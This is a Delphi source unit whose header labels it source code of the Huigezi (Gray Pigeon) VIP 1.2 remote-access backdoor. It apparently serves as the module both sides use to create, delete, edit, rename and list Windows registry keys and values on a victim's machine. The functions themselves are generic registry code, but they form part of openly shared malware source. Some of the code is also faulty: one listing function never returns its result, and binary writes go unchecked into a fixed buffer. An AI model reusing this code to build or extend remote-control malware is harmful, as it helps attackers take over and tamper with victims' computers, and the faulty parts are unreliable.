apfunit.pas

灰鸽子VIP1.2经典源代码

unit APFUnit;  //双方公用单元

interface

uses windows,SysUtils,Classes,StrUtils,registry;

type
  rstr=record
         attr:integer;
         value:string;
         name:string[50];
       end;
       
       
{新建注册表主键}
function Newregvalue(RKey  : integer;         {主键}
                     Rpath : String;          {子键路径}
                     Rname : String;          {要新建的键名}
                     Rtype : integer): String;{要新键的类型}
{删除注册表主建}
function Deleteregkey(RKey  : integer;        {主键}
                      Rpath : String): String;{键路径}
{删除注册表键值}
function Deleteregvalue(RKey  : integer;         {主键}
                        Rpath : String;          {键路径}
                        Rname : String): String; {键名}
{修改注册表键名/值}
function Editregvalue(RKey  : integer;           {主键}
                      Rpath : String;            {键路径}
                      Rname : String;            {键名}
                      Rvalue: String;            {键值}
                      Rtype : integer): String;  {类型}
{读取注册表指定路径下的所有键值}
function Reg_value(RKey  : integer;              {主键}
                   Rpath : String):string;       {键路径}
{读取注册表主键下的所有子键}
function Reg_RootKey(RKey  : integer;            {主键}
                     Rpath : String):string;     {键路径}

implementation


function Transtrhex(s:string):String;
var strresult:string;
    i:integer;
begin
  strresult:='';
  for i:=length(s) div 2 downto 1 do
    begin
      strresult:=strresult+copy(s,i*2-1,2);
    end;
  result:=strresult;
end;

{新建注册表主键}
function Newregvalue(RKey  : integer;          {主键}
                     Rpath : String;           {子键路径}
                     Rname : String;           {要新建的键名}
                     Rtype : integer): String;{要新键的类型}
var myreg:TRegistry;
    nulint:integer;
begin
  myreg:=TRegistry.Create;
  try
    case RKey of
         0:myreg.RootKey :=HKEY_CLASSES_ROOT;
         1:myreg.RootKey :=HKEY_CURRENT_USER;
         2:myreg.RootKey :=HKEY_LOCAL_MACHINE;
         3:myreg.RootKey :=HKEY_USERS;
         4:myreg.RootKey :=HKEY_CURRENT_CONFIG;
         5:myreg.RootKey :=HKEY_DYN_DATA;
         end;

    if myreg.OpenKey(Rpath,false) then
      begin
        case rtype of
             0:begin  {主键}
                 if myreg.KeyExists(rname) then
                     result:='键值已经存在，无法新建'
                       else
                         begin
                           if myreg.OpenKey(rname,true)=true then
                              result:='主键建立成功'
                                else result:='主键建立失败';
                         end;
               end;
             1:begin  {二进制}
                 if myreg.ValueExists(rname) then
                     result:='键值已经存在，无法新建'
                       else
                         begin
                           myreg.WriteBinaryData(rname,nulint,0);
                           result:='建立成功';
                         end;
               end;
             2:begin {整数}
                 if myreg.ValueExists(rname) then
                     result:='键值已经存在，无法新建'
                      else
                        begin
                          myreg.WriteInteger(rname,0);
                          result:='建立成功';
                        end;
               end;
             3:begin  {字符串}
                 if myreg.ValueExists(rname) then
                      result:='键值已经存在，无法新建'
                        else
                          begin
                            myreg.WriteString(rname,'');
                            result:='建立成功';
                          end;
               end;
             4:begin
                 if myreg.ValueExists(rname) then
                      result:='键值已经存在，无法新建'
                        else
                          begin
                            myreg.WriteExpandString(rname,'');
                            result:='建立成功';
                          end;
               end;
             end;
      end;
  finally
    myreg.CloseKey;
    myreg.Free;
  end;
end;

{删除注册表主建}
function Deleteregkey(RKey  : integer;            {主键}
                      Rpath : String): String;   {键路径}
var myreg:TRegistry;
begin
  myreg:=TRegistry.Create;
    case RKey of
         0:myreg.RootKey :=HKEY_CLASSES_ROOT;
         1:myreg.RootKey :=HKEY_CURRENT_USER;
         2:myreg.RootKey :=HKEY_LOCAL_MACHINE;
         3:myreg.RootKey :=HKEY_USERS;
         4:myreg.RootKey :=HKEY_CURRENT_CONFIG;
         5:myreg.RootKey :=HKEY_DYN_DATA;
         end;
    if myreg.KeyExists(Rpath) then
      begin
       if myreg.DeleteKey(Rpath) then
         result:='主键删除成功'
           else result:='主键删除失败'
      end else result:='主键不存在';
end;

{删除注册表键值}
function Deleteregvalue(RKey  : integer;            {主键}
                        Rpath : String;             {键路径}
                        Rname : String): String;  {键名}
var myreg:TRegistry;
begin
  myreg:=TRegistry.Create;
    case RKey of
         0:myreg.RootKey :=HKEY_CLASSES_ROOT;
         1:myreg.RootKey :=HKEY_CURRENT_USER;
         2:myreg.RootKey :=HKEY_LOCAL_MACHINE;
         3:myreg.RootKey :=HKEY_USERS;
         4:myreg.RootKey :=HKEY_CURRENT_CONFIG;
         5:myreg.RootKey :=HKEY_DYN_DATA;
         end;
    if myreg.OpenKey(rpath,false) then begin
         if myreg.ValueExists(rname) then
            begin
               if myreg.DeleteValue(rname) then
                   result:='删除成功'
                     else result:='无法删除'
            end else result:='键值不存在';
    end;
    myreg.CloseKey;
    myreg.Free;
end;

{修改注册表键名/值}
function Editregvalue(RKey  : integer;           {主键}
                      Rpath : String;            {键路径}
                      Rname : String;            {键名}
                      Rvalue: String;            {键值}
                      Rtype : integer): String;  {类型}
var myreg:Tregistry;
    loop:integer;
    s_line:integer;
    buf_write:array [1..64] of int64;
begin
  myreg:=TRegistry.Create;
  try
    case RKey of
         0:myreg.RootKey :=HKEY_CLASSES_ROOT;
         1:myreg.RootKey :=HKEY_CURRENT_USER;
         2:myreg.RootKey :=HKEY_LOCAL_MACHINE;
         3:myreg.RootKey :=HKEY_USERS;
         4:myreg.RootKey :=HKEY_CURRENT_CONFIG;
         5:myreg.RootKey :=HKEY_DYN_DATA;
         end;
    if myreg.OpenKey(rpath,false) then
      begin
        case rtype of
             0:begin {string edit}
                if myreg.ValueExists (rname) then
                  begin
                    myreg.WriteString(rname,rvalue);
                    result:='更改成功';
                  end else result:='键值不存在';
               end;
             1:begin {integer edit}
                if myreg.ValueExists(rname) then
                   begin
                     myreg.WriteInteger(rname,strtoint(rvalue));
                     result:='更改成功';
                   end else result:='键值不存在';
               end;
             2:begin {bin edit}
                 if myreg.ValueExists(rname) then
                   begin
                     if (length(rvalue) mod 16)=0 then
                        s_line:=length(rvalue) div 16 else
                            s_line:=1+length(rvalue) div 16;
                      for loop:=1 to s_line do
                        begin
                          buf_write[loop]:=strtoint64('0x'+Transtrhex(copy(rvalue,(loop-1)*16+1,16)));
                        end;
                      myreg.WriteBinaryData(rname,buf_write,length(rvalue) div 2);
                      result:='更改成功';
                   end else result:='键值不存在';
               end;
             3:begin
                 if myreg.ValueExists(rname) then
                    begin
                      myreg.RenameValue(rname,rvalue);
                      result:='重命名成功';
                    end
                      else result:='键值不存在';
               end;
             4:begin {expandstring edit}
                if myreg.ValueExists (rname) then
                  begin
                    myreg.WriteExpandString (rname,rvalue);
                    result:='更改成功';
                  end else result:='键值不存在';
               end;
             5:begin
                 if myreg.KeyExists(rname) then
                   begin
                     myreg.MoveKey(rname,rvalue,true);
                     result:='重命名成功';
                   end else result:='键名不存在';
               end;
             end;
      end;
  finally
    myreg.CloseKey;
    myreg.Free;
  end;
end;

{读取注册表}
function Reg_value(RKey  : integer;           {主键}
                   Rpath : String):string;    {键路径}
var myreg:Tregistry;
    valuelist,valuelastlist:Tstringlist;
    regloop,i:integer;
    regtemp:rstr;
    regvaluetype:TRegDataInfo;
    regintvalue:integer;
    buf:array [1..64] of int64;
    toolong:boolean;
    bufsize,lineofbuf:integer;
    bufstr:string;
begin
  myreg:=tregistry.Create;
  valuelist:=Tstringlist.Create;
  ValueLastList :=Tstringlist.create;
  case RKey of
       0:myreg.RootKey :=HKEY_CLASSES_ROOT;
       1:myreg.RootKey :=HKEY_CURRENT_USER;
       2:myreg.RootKey :=HKEY_LOCAL_MACHINE;
       3:myreg.RootKey :=HKEY_USERS;
       4:myreg.RootKey :=HKEY_CURRENT_CONFIG;
       5:myreg.RootKey :=HKEY_DYN_DATA;
       end;
  if myreg.openkey(Rpath,false) then
        myreg.GetValueNames(valuelist);
  for regloop:=0 to valuelist.Count -1 do
     begin
       regtemp.name :=valuelist.Strings[regloop];
       regtemp.value :='';
       myreg.GetDataInfo(valuelist.Strings[regloop],regvaluetype);
       case regvaluetype.RegData of
            rdUnknown:regtemp.attr :=9;
            rdstring:begin
                      regtemp.attr :=2;           {字符串}
                      regtemp.value :='"'+myreg.ReadString(valuelist.Strings[regloop])+'"';
                    end;
            rdExpandString:begin
                             regtemp.attr :=3;    {扩展字符串}
                             regtemp.value :='"'+myreg.ReadString(valuelist.Strings[regloop])+'"';
                           end;
            rdInteger:begin
                        regtemp.attr:=4;          {Integer}
                        regintvalue :=myreg.ReadInteger(valuelist.Strings[regloop]);
                        regtemp.value :='0X'+IntToHex(regintvalue,8)+'('+inttostr(regintvalue)+')';
                      end;
            rdBinary :begin
                        regtemp.attr :=5;
                        for i:=1 to 64 do buf[i]:=0;
                          try
                            toolong:=false;
                            myreg.ReadBinaryData(valuelist.Strings[regloop],buf,512);
                            bufsize:=regvaluetype.DataSize ;
                          except
                            toolong:=true;
                          end;
                        if bufsize<>0 then
                            begin
                              if (bufsize mod 8)=0 then
                                 lineofbuf :=bufsize div 8
                                   else lineofbuf:=bufsize div 8+1;
                              bufstr:='';
                              for i :=1 to lineofbuf do
                                begin
                                 if i =lineofbuf then
                                   begin
                                     bufstr:=bufstr+inttohex(buf[i],2*(bufsize mod 8));
                                   end else
                                   begin
                                     bufstr:=bufstr+inttohex(buf[i],16);
                                   end;
                               end;
                              regtemp.value :=bufstr;
                            end else
                                 begin
                                   if toolong=true then regtemp.value :='（键值过长无法读取）'
                                       else regtemp.value :='（长度为零的二进制）';
                                 end;
                            end;
            end;
   ValueLastList.Add(Inttostr(regtemp.attr)+regtemp.name);
   valuelastlist.add(Regtemp.value);
  end;
  {valuelastlist.Add('><REGVA><');}
  myreg.closekey;
  myreg.free;
  Result :=valuelastlist.Text;
  valuelist.Free;
  ValueLastList.free;
end;

{读取注册表主键下的所有子键}
function Reg_RootKey(RKey  : integer;           {主键}
                     Rpath : String):string;    {键路径}
var
myreg:Tregistry;
Keylist:Tstringlist;
begin
        myreg:=tregistry.Create;
        keylist:=Tstringlist.Create;
        case RKey of
             0:myreg.RootKey :=HKEY_CLASSES_ROOT;
             1:myreg.RootKey :=HKEY_CURRENT_USER;
             2:myreg.RootKey :=HKEY_LOCAL_MACHINE;
             3:myreg.RootKey :=HKEY_USERS;
             4:myreg.RootKey :=HKEY_CURRENT_CONFIG;
             5:myreg.RootKey :=HKEY_DYN_DATA;
             end;
        if myreg.OpenKey(Rpath,false) then
             myreg.GetKeyNames(keylist);
        myreg.CloseKey;
        {keylist.Add('|><|RegeD|><|');}
        myreg.free;
        keylist.Free;
end;


end.